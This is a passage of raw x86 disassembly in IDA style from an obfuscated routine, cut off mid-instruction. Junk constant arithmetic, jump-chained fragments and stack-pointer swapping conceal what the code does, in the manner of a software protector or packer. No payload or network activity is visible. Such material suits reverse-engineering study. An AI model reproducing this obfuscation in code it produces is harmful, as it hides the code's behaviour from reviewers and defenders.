; CODE XREF: sub_580566+180A8j mov edi, 0A9E44CFh add edi, 0BA2B10D3h add ebp, edi pop edi sub ebx, ebp jmp loc_59882D ; --------------------------------------------------------------------------- loc_5978A8: ; CODE XREF: sub_580566+21FFEj add edi, 5B4B292Bh add edi, 31B45B2Ch sub edi, 4EC31005h sub edi, 0DF9C9E7Fh or edi, 72F96093h shr edi, 5 add edi, 3B0274A4h add edi, 0C0FDBF72h add ebp, edi jmp loc_5A59CC ; --------------------------------------------------------------------------- loc_5978DC: ; CODE XREF: sub_580566+190F1j dec edi sub edi, 5647041Dh mov esi, edi pop edi xor esi, 38B711B2h add esi, 8BD9F68Ch add ebx, esi pop esi shr ebx, 7 xor ebx, 143BE891h xor eax, ebx pop ebx jmp loc_591854 ; --------------------------------------------------------------------------- loc_597906: ; CODE XREF: sub_580566+19CAEj xor esi, 110D6511h push esi xchg edx, [esp-14h+arg_A+2] push edx not dword ptr [esp+0] jmp loc_5992C1 ; --------------------------------------------------------------------------- loc_597919: ; CODE XREF: sub_580566+19722j pop dword ptr [esp+0] mov esp, [esp-14h+arg_A+2] add esp, 4 movzx ecx, ax push 546Ah jmp loc_59E73A ; --------------------------------------------------------------------------- loc_597932: ; CODE XREF: sub_580566+20EEFj push ebx mov ebx, 77065142h xor ebx, 627B7160h inc ebx sub ebx, 0CB74D0E7h jmp loc_595079 ; --------------------------------------------------------------------------- loc_59794A: ; CODE XREF: sub_580566+13BDEj xor ebp, 73051BB5h add eax, ebp pop ebp add eax, 4 xchg eax, [esp-42h+arg_38+2] pop esp push ebx push 23F9h jmp loc_59D685 ; --------------------------------------------------------------------------- loc_597965: ; CODE XREF: sub_580566+17F05j add eax, 1 neg eax sub eax, 22654B8Eh push ecx mov ecx, 92226A11h add eax, ecx pop ecx push edx mov edx, 5D2F4570h sub ebp, edx jmp loc_595839 ; --------------------------------------------------------------------------- loc_597987: ; CODE XREF: sub_580566+1B900j pop edi push edx jmp loc_5983AC ; --------------------------------------------------------------------------- loc_59798E: ; CODE XREF: sub_580566+18BDDj mov edx, 6F170E93h jmp loc_59685F ; --------------------------------------------------------------------------- loc_597998: ; CODE XREF: sub_580566+19498j add eax, 63CF25DFh sub eax, ebp sub eax, 63CF25DFh pop ebp not eax push edi mov edi, 72A03151h shr edi, 2 sub edi, 44724276h sub edi, 6FC301A2h xor edi, 4A186BD2h xor edi, 0B84D4B6h not edi dec edi push ebx mov ebx, 18CC7AADh add edi, ebx pop ebx shl edi, 7 and edi, 59140DB9h add edi, 13E1CB45h add eax, edi pop edi push eax mov esi, [esp-3Ah+arg_30+2] add esp, 4 pop eax add eax, esi mov esi, [esp-42h+arg_38+2] add esp, 4 jmp loc_5942DA ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_597A05: ; CODE XREF: sub_580566+244A5j mov [esp-42h+arg_38+2], edi push 8515B36h pop edi push ecx mov ecx, 30E8B451h xor edi, ecx pop ecx push edi jmp loc_59A110 ; --------------------------------------------------------------------------- loc_597A1D: ; CODE XREF: sub_580566+1213Fj mov ecx, esp push edx push 4 jmp loc_59CA4C ; --------------------------------------------------------------------------- loc_597A2A: ; CODE XREF: sub_580566+13508j pop ebp jmp loc_5A4466 ; --------------------------------------------------------------------------- loc_597A30: ; CODE XREF: sub_580566+17AECj add edx, edi pop edi xchg edx, [esp-32h+arg_28+2] mov esp, [esp-32h+arg_28+2] sub esp, 4 mov [esp-2Eh+arg_24+2], esi mov esi, esp push edi jmp loc_59C899 ; --------------------------------------------------------------------------- loc_597A4A: ; CODE XREF: sub_580566+1B9B7j pop [esp-2Ah+arg_20+2] add [esp-2Eh+arg_24+2], 4 pop eax push ecx mov ecx, 4 add eax, ecx mov ecx, [esp-2Eh+arg_24+2] add esp, 4 jmp loc_593E19 ; --------------------------------------------------------------------------- loc_597A6B: ; CODE XREF: sub_580566+23254j pop esp pop [esp-36h+arg_2C+2] mov esp, [esp-3Ah+arg_30+2] add [esp-3Ah+arg_30+2], 5C495D2Dh jmp loc_5A440D ; --------------------------------------------------------------------------- loc_597A7E: ; CODE XREF: sub_580566+24CEBj mov edi, 411C0FEBh jmp loc_596117 ; --------------------------------------------------------------------------- loc_597A88: ; CODE XREF: sub_580566+19A31j mov [esp-3Ah+arg_30+2], edx push ecx mov ecx, 67554144h shr ecx, 6 push 1E25h mov [esp-32h+arg_28+2], esi mov esi, 7F807821h shr esi, 7 dec esi jmp loc_59D0AF ; --------------------------------------------------------------------------- loc_597AAA: ; CODE XREF: sub_580566+1E026j pop eax pop edi pop dword ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_597AB3: ; CODE XREF: sub_580566+1B060j mov [esp-3Eh+arg_34+2], ebx jmp loc_594CB4 ; --------------------------------------------------------------------------- loc_597ABB: ; CODE XREF: sub_580566+2458Fj shr ebp, 7 shr ebp, 6 or ebp, 62D43682h and ebp, 408A3494h shr ebp, 3 add ebp, 0FA5389B7h add ecx, ebp jmp loc_595955 ; --------------------------------------------------------------------------- loc_597ADD: ; CODE XREF: sub_580566+18B89j add ebp, 4 push edi mov edi, 5A9567F3h not edi add edi, 570B65B4h not edi xor edi, 38A023Bh add ebp, edi pop edi xchg ebp, [esp-3Eh+arg_34+2] jmp loc_59DFC1 ; --------------------------------------------------------------------------- loc_597B04: ; CODE XREF: sub_580566+202C1j mov esp, [esp-3Eh+arg_34+2] inc byte ptr [esp-3Eh+arg_34+2] pushf jmp loc_5912C3 ; --------------------------------------------------------------------------- loc_597B10: ; CODE XREF: sub_580566+2539Aj xor ebp, 52707444h jmp loc_5994BE ; --------------------------------------------------------------------------- loc_597B1B: ; CODE XREF: sub_580566+19D30j add edx, 4 add edx, 4 jmp loc_59C4C7 ; --------------------------------------------------------------------------- loc_597B2C: ; CODE XREF: sub_580566+11D94j sub edx, 55924812h jmp loc_5984F0 ; --------------------------------------------------------------------------- loc_597B37: ; DATA XREF: sub_580566+1026Ao push dword ptr [edi+1Ch] popf pop cx rcr [esp-40h+arg_38], cl pushf jmp loc_5926EB ; --------------------------------------------------------------------------- lodsb jmp loc_5A158A ; --------------------------------------------------------------------------- loc_597B4C: ; CODE XREF: sub_580566+122BFj mov eax, 3462217Ah and ebx, eax pop eax push esi push edx mov edx, 5B362846h shl edx, 1 xor edx, 967205F7h mov esi, edx jmp loc_593B0D ; --------------------------------------------------------------------------- loc_597B6A: ; CODE XREF: sub_580566+12418j add [esp-38h+arg_34], edx pop edx push [esp-3Ch+arg_34] mov ecx, [esp-38h+arg_30] jmp loc_59C5B0 ; --------------------------------------------------------------------------- loc_597B7A: ; CODE XREF: sub_580566+24B3Dj pop esp or eax, eax jnz loc_59CAFB push 1 push [esp-38h+arg_30] mov edx, [esp-34h+arg_2C] add esp, 4 push edi push 48A3h mov [esp-30h+arg_28], esp add [esp-30h+arg_28], 4 pop edi push eax push 6EE010FBh pop eax push eax not [esp-2Ch+arg_24] pop eax push edx mov edx, 5E0B17F7h jmp loc_597F94 ; --------------------------------------------------------------------------- loc_597BB9: ; CODE XREF: sub_580566+20C32j dec bh shl bh, 8 push edx mov dl, 45h or bh, dl pop edx sub bh, 38h shr bh, 8 sub bh, 0FFh not bh jmp loc_5A4F88 ; --------------------------------------------------------------------------- loc_597BD4: ; CODE XREF: sub_580566+1C0A0j add ecx, 3F15BEEh sub ecx, 3B842190h sub ecx, 20817186h pop esi jmp loc_596FDC ; --------------------------------------------------------------------------- loc_597BEC: ; CODE XREF: sub_580566+22114j add edx, eax mov eax, [esp-30h+arg_28] add esp, 4 sub edx, eax sub edx, 4A464B42h add edx, 29D02B23h push ebp mov ebp, 689475Ch sub edx, ebp push [esp-30h+arg_28] pop ebp push 552Eh mov [esp-2Ch+arg_24], edi jmp loc_59E48C ; --------------------------------------------------------------------------- loc_597C1E: ; CODE XREF: sub_580566+25183j mov dl, ah mov cl, dl pop edx pop eax mov edx, [esp-34h+arg_2C] add esp, 4 jmp loc_5A220F ; --------------------------------------------------------------------------- loc_597C32: ; CODE XREF: sub_580566+121E8j sub ecx, 0BE762BC8h sub esi, 48075024h add esi, ecx jmp loc_597408 ; --------------------------------------------------------------------------- loc_597C45: ; CODE XREF: sub_580566+1EF7Cj add [esp-50h+arg_48], 4 pop edx add edx, 4 jmp loc_59904A ; --------------------------------------------------------------------------- loc_597C58: ; CODE XREF: sub_580566+19BABj mov ebp, 3D4F3A66h xor [esp-54h+arg_4E+2], ebp pop ebp mov esi, [esp-58h+arg_4E+2] jmp loc_59806D ; --------------------------------------------------------------------------- loc_597C6A: ; CODE XREF: sub_580566+171B0j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-1Ch+arg_12+2] pop esp mov [esp-20h+arg_16+2], esi push 632Dh mov [esp-1Ch+arg_12+2], esp add [esp-1Ch+arg_12+2], 4 pop esi jmp loc_597EDB ; --------------------------------------------------------------------------- loc_597C8E: ; CODE XREF: sub_580566+25456j push ebp mov ebp, 4ABA2F58h inc ebp dec ebp add ebp, 5D6541EDh jmp loc_591FF6 ; --------------------------------------------------------------------------- loc_597CA1: ; CODE XREF: sub_580566+1BE1Aj sub eax, 59B87B62h mov ebx, [esp-1Ch+arg_12+2] jmp loc_5A48A2 ; --------------------------------------------------------------------------- loc_597CAE: ; CODE XREF: sub_580566+157CFj push 1908h jmp loc_598D5A ; --------------------------------------------------------------------------- loc_597CB8: ; CODE XREF: sub_580566+246A5j mov cl, 0CEh add al, cl mov cx, word ptr [esp-4Eh+arg_44+2] jmp loc_59EF88 ; --------------------------------------------------------------------------- loc_597CC5: ; CODE XREF: sub_580566+2264Ej pop esi sub eax, 33683A3Eh shr eax, 6 xor eax, 5EDDAC43h add ebp, 79431B5Ah sub ebp, eax sub ebp, 79431B5Ah pop eax sub ebp, 0A2BA09AEh jmp loc_5930B2 ; --------------------------------------------------------------------------- loc_597CED: ; CODE XREF: sub_580566+1BFE7j shr edi, 2 shl edi, 2 add edi, 0A72EB43h sub esi, edi pop edi pop ebp add esi, 4 jmp loc_59FCDA ; --------------------------------------------------------------------------- loc_597D05: ; CODE XREF: sub_580566+15CBAj mov ecx, [esp-3Ah+arg_30+2] push ebx push esp pop ebx add ebx, 4 jmp loc_5A33B1 ; --------------------------------------------------------------------------- loc_597D16: ; CODE XREF: sub_580566+10CEBj pop eax push eax jmp loc_5A30BA ; --------------------------------------------------------------------------- loc_597D1D: ; CODE XREF: sub_580566+1AEF5j pop esi sub edi, ecx pop ecx push [esp-38h+arg_30] mov esi, [esp-34h+arg_2C] jmp loc_59F9AD ; --------------------------------------------------------------------------- loc_597D2C: ; CODE XREF: sub_580566+16D0Fj sub eax, 554D2E0Bh movzx ax, byte ptr [eax] push edi push esp mov edi, [esp-4Ah+arg_40+2] add esp, 4 push 1092h mov [esp-4Ah+arg_40+2], esi jmp loc_59C8DB ; --------------------------------------------------------------------------- loc_597D4D: ; CODE XREF: sub_580566+15322j push esp pop esi push 67C0h mov [esp-36h+arg_2C+2], eax mov eax, 55A32E08h push ebx sub esp, 4 jmp loc_5922E7 ; --------------------------------------------------------------------------- loc_597D68: ; CODE XREF: sub_580566+1C911j pop ecx sub edx, 569472CDh add edx, ebp add edx, 569472CDh sub edx, 571B7128h pop ebp xchg edx, [esp-36h+arg_2C+2] pop esp mov ax, word ptr [esp-3Ah+arg_30+2] sub esp, 4 mov [esp-36h+arg_2C+2], ecx mov ecx, esp jmp loc_5945D4 ; --------------------------------------------------------------------------- loc_597D96: ; CODE XREF: sub_580566+252E5j add cl, 0F2h jmp loc_5A2DF7 ; --------------------------------------------------------------------------- loc_597D9E: ; CODE XREF: sub_580566+1C347j not [esp-36h+arg_2C+2] pop edx push esi mov esi, 3AA10FD9h sub edx, esi jmp loc_5A209E ; --------------------------------------------------------------------------- loc_597DAF: ; CODE XREF: sub_580566+1EB7Cj push 61F92E46h pop ebp jmp loc_596F1D ; --------------------------------------------------------------------------- loc_597DBA: ; CODE XREF: sub_580566+1A224j sub ebx, edi sub ebx, 3E67498Ah pop edi jmp loc_594CD2 ; --------------------------------------------------------------------------- loc_597DC8: ; CODE XREF: sub_580566+1F393j push esi xor [esp-36h+arg_2C+2], 791F11BCh mov edx, [esp-36h+arg_2C+2] add esp, 4 xor edx, 791F11BCh mov ebp, edx pop edx pop esi inc ebp shl ebp, 4 inc ebp sub esp, 4 jmp loc_5A0A17 ; --------------------------------------------------------------------------- loc_597DF0: ; CODE XREF: sub_580566+11633j pop esi jmp loc_59E5ED ; --------------------------------------------------------------------------- loc_597DF6: ; CODE XREF: sub_580566+15902j pop esp pop eax and eax, ebx mov ebx, [esp-34h+arg_2C] add esp, 4 or eax, eax jz loc_5A15E6 push 1759h mov [esp-34h+arg_2C], ecx mov ecx, 28h jmp loc_5933BB ; --------------------------------------------------------------------------- loc_597E1D: ; CODE XREF: sub_580566+235ECj add esp, 4 push ecx mov ch, dl mov bl, ch mov ecx, [esp-34h+arg_2C] add esp, 4 mov edx, [esp-38h+arg_30] add esp, 4 jmp loc_59ED89 ; --------------------------------------------------------------------------- loc_597E3C: ; CODE XREF: sub_580566+23B2Ej add eax, 4 sub eax, 4 jmp loc_592997 ; --------------------------------------------------------------------------- loc_597E49: ; CODE XREF: sub_580566+23AA8j push edi push edx push 46F434C4h pop edx sub edx, 2C577DBEh jmp loc_59AB71 ; --------------------------------------------------------------------------- loc_597E5C: ; CODE XREF: sub_580566+13B15j push [esp-3Ah+arg_34+2] pop ebp pop [esp-3Ah+arg_30+2] not ebp xchg ebp, [esp-3Eh+arg_34+2] pop eax xchg eax, ebp not ebp push eax jmp loc_59605F ; --------------------------------------------------------------------------- loc_597E73: ; CODE XREF: sub_580566+1E9C2j pop ebx push esi push 777Eh mov [esp-3Ah+arg_30+2], edi push 43F753CCh pop edi jmp loc_5A1962 ; --------------------------------------------------------------------------- loc_597E88: ; CODE XREF: sub_580566+23220j push eax mov eax, 3AAC4A40h add eax, 711F0691h shl eax, 4 sub eax, 827BD043h or esi, eax pop eax jmp loc_59A3DD ; --------------------------------------------------------------------------- loc_597EA3: ; CODE XREF: sub_580566+1F7CEj push 4 jmp loc_591DBE ; --------------------------------------------------------------------------- loc_597EAD: ; CODE XREF: sub_580566+11554j not edi shr edi, 8 jmp loc_5A09C2 ; --------------------------------------------------------------------------- loc_597EB7: ; CODE XREF: sub_580566+140CAj not edx xchg eax, edx push eax push [esp-46h+arg_40+2] pop eax pop [esp-46h+arg_3C+2] mov ebx, [esp-4Ah+arg_40+2] jmp loc_5A2298 ; --------------------------------------------------------------------------- loc_597ECB: ; CODE XREF: sub_580566+1BCA3j push eax mov eax, 4 jmp loc_59BCBC ; --------------------------------------------------------------------------- loc_597ED6: ; CODE XREF: sub_580566+1DBBFj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_597EDB: ; CODE XREF: sub_580566+17723j add esi, 4 push ebx mov ebx, 4 add esi, 6B5B3F04h add esi, ebx push ebx jmp loc_5A0D58 ; --------------------------------------------------------------------------- loc_597EF5: ; CODE XREF: sub_580566+22C0Aj push ebx mov ebx, 0C622D55h add ebx, 625A2069h push edi mov edi, 159C681Bh and edi, 2D872E59h or edi, 7C8F368Fh jmp loc_5A342B ; --------------------------------------------------------------------------- loc_597F18: ; CODE XREF: sub_580566+143A9j add ebx, 247A56EFh shl ebx, 8 sub ebx, 0FA8299FEh sub ebp, ebx pop ebx xor ebp, [esp-38h+arg_30] xor [esp-38h+arg_30], ebp jmp loc_5947EA ; --------------------------------------------------------------------------- loc_597F35: ; CODE XREF: sub_580566+1E43Cj pop edi add [esp-3Ch+arg_3C], 5E6C39B5h jmp loc_594A06 ; --------------------------------------------------------------------------- loc_597F43: ; CODE XREF: sub_580566+10E36j push 2671h jmp loc_5A16C8 ; --------------------------------------------------------------------------- loc_597F4D: ; CODE XREF: sub_580566+18C11j push edi pop esi jmp loc_5A05D8 ; --------------------------------------------------------------------------- loc_597F54: ; CODE XREF: sub_580566+11B1Cj add [esp-38h+arg_34], ecx pop ecx mov edi, [esp-3Ch+arg_34] add esp, 4 push 2078h mov [esp-3Ch+arg_34], esi push edx jmp loc_593B88 ; --------------------------------------------------------------------------- loc_597F6D: ; CODE XREF: sub_580566+1AD29j add ebp, 0CE9E2FF2h not ebp inc ebp jmp loc_595527 ; --------------------------------------------------------------------------- loc_597F7B: ; CODE XREF: sub_580566+23AEBj not ecx jmp loc_59EDA5 ; --------------------------------------------------------------------------- loc_597F82: ; CODE XREF: sub_580566+239E1j xchg ebx, edx push 74F4h mov [esp-34h+arg_2C], ebx xor [esp-34h+arg_2C], eax jmp loc_591F4A ; --------------------------------------------------------------------------- loc_597F94: ; CODE XREF: sub_580566+1764Ej push 6A86h mov [esp-28h+arg_20], eax mov eax, 66BF5939h push ebp mov ebp, 0FF5502B9h sub eax, 23D70941h sub eax, ebp jmp loc_5A2446 ; --------------------------------------------------------------------------- loc_597FB3: ; CODE XREF: sub_580566+1114Ej mov [esp-3Ch+arg_34], edx mov edx, 2F0947B8h add edx, 4DD722FDh neg edx xor edx, 53226F8Fh inc edx or edx, 7A6F4376h jmp loc_594BF1 ; --------------------------------------------------------------------------- loc_597FD5: ; CODE XREF: sub_580566+12797j mov bh, 8Bh inc bh xor bh, 0B9h jmp loc_59D72D ; --------------------------------------------------------------------------- loc_597FE1: ; CODE XREF: sub_580566+16067j mov eax, 26A8163Ah xor edx, eax jmp loc_59B138 ; --------------------------------------------------------------------------- loc_597FED: ; CODE XREF: sub_580566+24730j push [esp-46h+arg_3C+2] pop edi push ebx jmp loc_595154 ; --------------------------------------------------------------------------- loc_597FF7: ; CODE XREF: sub_580566+208B7j mov esi, 4 add ebx, esi pop esi jmp loc_59EA40 ; --------------------------------------------------------------------------- loc_598004: ; CODE XREF: sub_580566+1AAE7j or edx, 17F35AA5h push edx not [esp-42h+arg_38+2] pop edx inc edx push ebp jmp loc_5A01E5 ; --------------------------------------------------------------------------- loc_598016: ; CODE XREF: sub_580566+1BFC8j mov edi, 6C8A7B4Dh add edi, 3F285295h shr edi, 8 add edi, 93058FDh add edi, 63064EB1h shl edi, 4 sub edi, 0AE2DC3AFh xor esi, edi jmp loc_592CA1 ; --------------------------------------------------------------------------- loc_598040: ; CODE XREF: sub_580566+19C64j mov edi, [esp-42h+arg_38+2] push edx mov edx, esp add edx, 4 push edi mov edi, 4 jmp loc_597A30 ; --------------------------------------------------------------------------- loc_598057: ; CODE XREF: sub_580566+116D9j sub esp, 4 mov [esp-30h+arg_28], edi push esi push 537F11BCh jmp loc_5A334E ; --------------------------------------------------------------------------- loc_598068: ; CODE XREF: sub_580566+217C7j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59806D: ; CODE XREF: sub_580566+176FFj push edx jmp loc_5A0308 ; --------------------------------------------------------------------------- loc_598073: ; CODE XREF: sub_580566+1DC80j mov edx, 395463E0h push edx mov edx, 395463E2h mov eax, edx pop edx add eax, 3A1C5722h sub eax, edx jmp loc_59ECD9 ; --------------------------------------------------------------------------- loc_59808D: ; CODE XREF: sub_580566+15C53j and ebx, 3ADD4650h dec ebx xor ebx, 3AD5464Bh add esi, ebx pop ebx add esi, 2 xchg esi, [esp-40h+arg_38] pop esp push small 1332h mov word ptr [esp-42h+arg_38+2], bx jmp loc_5928D9 ; --------------------------------------------------------------------------- loc_5980B1: ; CODE XREF: sub_580566+13DCFj push dx mov dl, 0D7h sub bh, dl pop dx sub dh, bh pop ebx push ax mov ah, 0C6h sub dh, ah jmp loc_5A10E8 ; --------------------------------------------------------------------------- loc_5980C7: ; CODE XREF: sub_580566+21658j add esi, 4 xchg esi, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] and ebx, esi jmp loc_592155 ; --------------------------------------------------------------------------- loc_5980DA: ; CODE XREF: sub_580566+1AEAAj add ecx, ebx add ecx, 4FA54DFh mov ebx, [esp-36h+arg_2C+2] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A4859 ; --------------------------------------------------------------------------- loc_5980F5: ; CODE XREF: sub_580566+23D1Cj push edi mov edi, 4221171Eh sub esi, edi pop edi mov ebp, esi jmp loc_59CC50 ; --------------------------------------------------------------------------- loc_598105: ; CODE XREF: sub_580566+12845j sub eax, 6BDB0949h pop ebx jmp loc_5A34D2 ; --------------------------------------------------------------------------- loc_598110: ; CODE XREF: sub_580566+140C1j pop ebx add dh, 7Dh sub dh, 8Fh jmp loc_593C6A ; --------------------------------------------------------------------------- loc_59811C: ; CODE XREF: sub_580566+1BD51j push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp-16h+arg_E] pop esp add edi, 2A7552F9h add edi, 3CF34477h add edi, ebp sub edi, 3CF34477h sub edi, 2A7552F9h jmp loc_59E338 ; --------------------------------------------------------------------------- loc_59814B: ; CODE XREF: sub_580566+1E880j push [esp-1Ah+arg_12] jmp loc_5A585A ; --------------------------------------------------------------------------- loc_598153: ; CODE XREF: sub_580566+1C339j xor ebp, 34BB40AAh mov edi, ebp mov ebp, [esp-16h+arg_E] jmp loc_594BCD ; --------------------------------------------------------------------------- loc_598163: ; CODE XREF: sub_580566+1D46Bj sub eax, 86969685h add edi, 12F307B8h add edi, eax sub edi, 12F307B8h pop eax add edi, 4 xchg edi, [esp-1Ah+arg_12] jmp loc_59455A ; --------------------------------------------------------------------------- loc_598185: ; CODE XREF: sub_580566+238BFj mov edx, [esp-1Ah+arg_12] push ebx mov ebx, esp jmp loc_5A1A58 ; --------------------------------------------------------------------------- loc_598190: ; CODE XREF: sub_580566+21525j not ebp sub ebp, 39C6EF81h or edx, ebp mov ebp, [esp-16h+arg_E] jmp loc_59A6A4 ; --------------------------------------------------------------------------- loc_5981A2: ; CODE XREF: sub_580566+1C989j add esp, 4 jmp loc_5A31A1 ; --------------------------------------------------------------------------- loc_5981AD: ; CODE XREF: sub_580566+1ACB6j sub edi, 4F0102ABh jmp loc_5A1DD6 ; --------------------------------------------------------------------------- loc_5981B8: ; CODE XREF: sub_580566+1603Aj add esp, 4 add esi, 2 push esi push [esp-42h+arg_3C+2] pop esi pop [esp-42h+arg_38+2] mov esp, [esp-46h+arg_3C+2] mov ax, word ptr [esp-46h+arg_3C+2] push 3E14h mov [esp-42h+arg_38+2], ecx mov ecx, esp push 654Eh mov [esp-3Eh+arg_34+2], edi push 4 pop edi add ecx, edi mov edi, [esp-3Eh+arg_34+2] push ecx push esp jmp loc_5944B8 ; --------------------------------------------------------------------------- loc_5981F5: ; CODE XREF: sub_580566+2304Ej mov esp, [esp-36h+arg_2C+2] mov [esp-36h+arg_2C+2], edx mov edx, 4C22792Eh shl edx, 5 sub edx, 0D322EC5h add edx, 88E3090Fh mov eax, edx mov edx, [esp-36h+arg_2C+2] add esp, 4 push eax add [esp-36h+arg_2C+2], 4DEC6C86h mov ecx, [esp-36h+arg_2C+2] add esp, 4 jmp loc_5A0EB8 ; --------------------------------------------------------------------------- loc_59822A: ; DATA XREF: sub_580566+10486o mov cx, word ptr [esp-3Ah+arg_30+2] push eax mov eax, esp push eax mov eax, esp push esi mov esi, 5D5341A2h xor esi, 5D5341A6h add eax, esi pop esi sub eax, 4 xchg eax, [esp-32h+arg_28+2] pop esp mov [esp-36h+arg_2C+2], edx mov edx, 28900086h xor edx, 6555057Ch sub edx, 4D6A5B03h add edx, 0FFA5550Dh push ebx mov ebx, 7F211449h or ebx, 41AF6A2Ch xor ebx, 329271C3h sub ebx, 0F2B9F351h jmp loc_59D54A ; --------------------------------------------------------------------------- loc_598283: ; CODE XREF: sub_580566+21242j push [esp-32h+arg_28+2] pop edi push ebp mov ebp, esp jmp loc_59E3B5 ; --------------------------------------------------------------------------- loc_59828F: ; CODE XREF: sub_580566+13BADj xchg eax, [esp-3Ah+arg_30+2] pop esp mov [esp-3Eh+arg_34+2], eax push esp pop eax push ecx push ebx mov ebx, 4 jmp loc_5A5343 ; --------------------------------------------------------------------------- loc_5982A4: ; CODE XREF: sub_580566+14136j pop [esp-42h+arg_38+2] push edi jmp loc_5A4122 ; --------------------------------------------------------------------------- loc_5982AD: ; CODE XREF: sub_580566+12BA3j push ecx push edx push 27F217D7h pop edx sub edx, 1D027042h xor edx, 2640F109h push esi mov esi, edx mov ecx, esi pop esi pop edx jmp loc_59FE25 ; --------------------------------------------------------------------------- loc_5982CD: ; CODE XREF: sub_580566+149BEj mov ecx, 6CBE62D1h add ecx, 7A2756AAh shl ecx, 5 shr ecx, 4 sub ecx, 49C76FC3h push edi mov edi, 61E3C2B7h sub ecx, edi mov edi, [esp-40h+arg_38] add esp, 4 sub esi, ecx pop ecx push esi sub [esp-44h+arg_3C], 540D78FAh pop ebx add ebx, 540D78FAh pop esi add ebx, edi xor dword ptr [ebx], 8C5857EFh pop ebx push 472Ch mov [esp-4Ch+arg_44], esi push 0EE72D9Dh pop esi add esi, 19913018h jmp loc_59A613 ; --------------------------------------------------------------------------- loc_598327: ; CODE XREF: sub_580566+13289j add ebp, edi pop edi sub ebp, 633847FAh mov eax, [esp-46h+arg_3C+2] add esp, 4 jmp loc_598AB7 ; --------------------------------------------------------------------------- loc_59833E: ; CODE XREF: sub_580566+12D3Cj push edx push 5437h mov [esp-3Ah+arg_30+2], ebx jmp loc_59FF51 ; --------------------------------------------------------------------------- loc_59834C: ; CODE XREF: sub_580566+22D7Dj mov [esp-3Ah+arg_30+2], ebx mov ebx, 17F7740h jmp loc_590F12 ; --------------------------------------------------------------------------- loc_598359: ; CODE XREF: sub_580566+186A1j add ebx, esi mov esi, [esp-3Ah+arg_30+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-36h+arg_2C+2] pop esp push ecx mov ecx, 14BF68F9h jmp loc_5912B4 ; --------------------------------------------------------------------------- loc_59837C: ; CODE XREF: sub_580566+21A4Dj push ax jmp loc_59FEE2 ; --------------------------------------------------------------------------- loc_598383: ; CODE XREF: sub_580566+1F15Fj inc esi jmp loc_5A302F ; --------------------------------------------------------------------------- loc_598389: ; CODE XREF: sub_580566+23D92j sub ebx, 4 xchg ebx, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-38h+arg_30] jmp loc_59569B ; --------------------------------------------------------------------------- loc_5983AC: ; CODE XREF: sub_580566+17423j push 0B38h mov [esp-36h+arg_2C+2], esp add [esp-36h+arg_2C+2], 4 pop edx jmp loc_590BDF ; --------------------------------------------------------------------------- loc_5983BE: ; CODE XREF: sub_580566+12FFEj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5983C3: ; CODE XREF: sub_580566+16935j mov edx, [esp-36h+arg_2C+2] add esp, 4 push [esp-3Ah+arg_30+2] pop ecx add esp, 4 xor al, bl mov ebx, [esp-3Eh+arg_34+2] add esp, 4 jmp loc_59B571 ; --------------------------------------------------------------------------- loc_5983E0: ; CODE XREF: sub_580566+1346Bj push [esp-18h+arg_E+2] push [esp-14h+arg_A+2] pop eax add esp, 4 push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push eax jmp loc_593D1A ; --------------------------------------------------------------------------- loc_598408: ; CODE XREF: sub_580566+11226j neg ebp and ebp, 17011B4Ah jmp loc_5971E4 ; --------------------------------------------------------------------------- loc_598415: ; CODE XREF: sub_580566+24531j push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp-2Ch+arg_24] pop esp push [esp-30h+arg_28] pop eax add esp, 4 push 49E7h jmp loc_5A1D0A ; --------------------------------------------------------------------------- loc_598439: ; CODE XREF: sub_580566+11E40j xor esi, 0D207A92Fh sub ecx, esi pop esi mov edx, [esp-2Eh+arg_24+2] sub esp, 4 mov [esp-2Ah+arg_20+2], ebp push esp pop ebp add ebp, 4 push eax mov eax, 4EA10A32h push edi push 251C1C5Eh mov edi, [esp-1Eh+arg_16] add esp, 4 or eax, edi pop edi jmp loc_597965 ; --------------------------------------------------------------------------- loc_598470: ; CODE XREF: sub_580566+11E19j pop ebp dec ebp dec ebp not ebp jmp loc_5969F1 ; --------------------------------------------------------------------------- loc_59847A: ; CODE XREF: sub_580566+24354j shr esi, 7 not esi dec esi add esi, 14E42E24h add esi, 319C71DAh sub edx, esi jmp loc_59C62C ; --------------------------------------------------------------------------- loc_598493: ; CODE XREF: sub_580566+2030Aj push esp pop eax push ebx mov ebx, 38186921h shl ebx, 8 jmp loc_5975FC ; --------------------------------------------------------------------------- loc_5984A3: ; CODE XREF: sub_580566+138A2j add eax, 3BAA8C23h add ebx, eax pop eax add ebx, eax push edx mov edx, 1AB06071h sub edx, 56AE34E5h and edx, 1CDF5B82h add edx, 0FE54462h add ebx, 750E1ADAh sub ebx, edx sub ebx, 750E1ADAh mov edx, [esp-32h+arg_28+2] jmp loc_5A0331 ; --------------------------------------------------------------------------- loc_5984DB: ; CODE XREF: sub_580566+18599j add edx, edi pop edi sub esp, 4 mov [esp-32h+arg_28+2], edx push [esp-32h+arg_2C+2] mov edx, [esp-2Eh+arg_24+2] jmp loc_5A59F4 ; --------------------------------------------------------------------------- loc_5984F0: ; CODE XREF: sub_580566+175CCj add edx, eax add edx, 55924812h push [esp-3Eh+arg_34+2] pop eax push edx mov edx, esp jmp loc_59D490 ; --------------------------------------------------------------------------- loc_598504: ; CODE XREF: sub_580566+23B45j mov eax, [esp-3Ah+arg_30+2] add esp, 4 jmp loc_5A0DD6 ; --------------------------------------------------------------------------- loc_59850F: ; CODE XREF: sub_580566+1F60Fj mov ecx, 37B674FCh inc ecx push edx mov edx, 0 add edx, 70EC596Ah sub edx, ecx jmp loc_59F334 ; --------------------------------------------------------------------------- loc_598528: ; CODE XREF: sub_580566+1D63Cj push eax mov eax, offset byte_434421 shl eax, 8 xor eax, 44B70F4Fh sub esi, eax pop eax pop ebp add eax, esi mov esi, 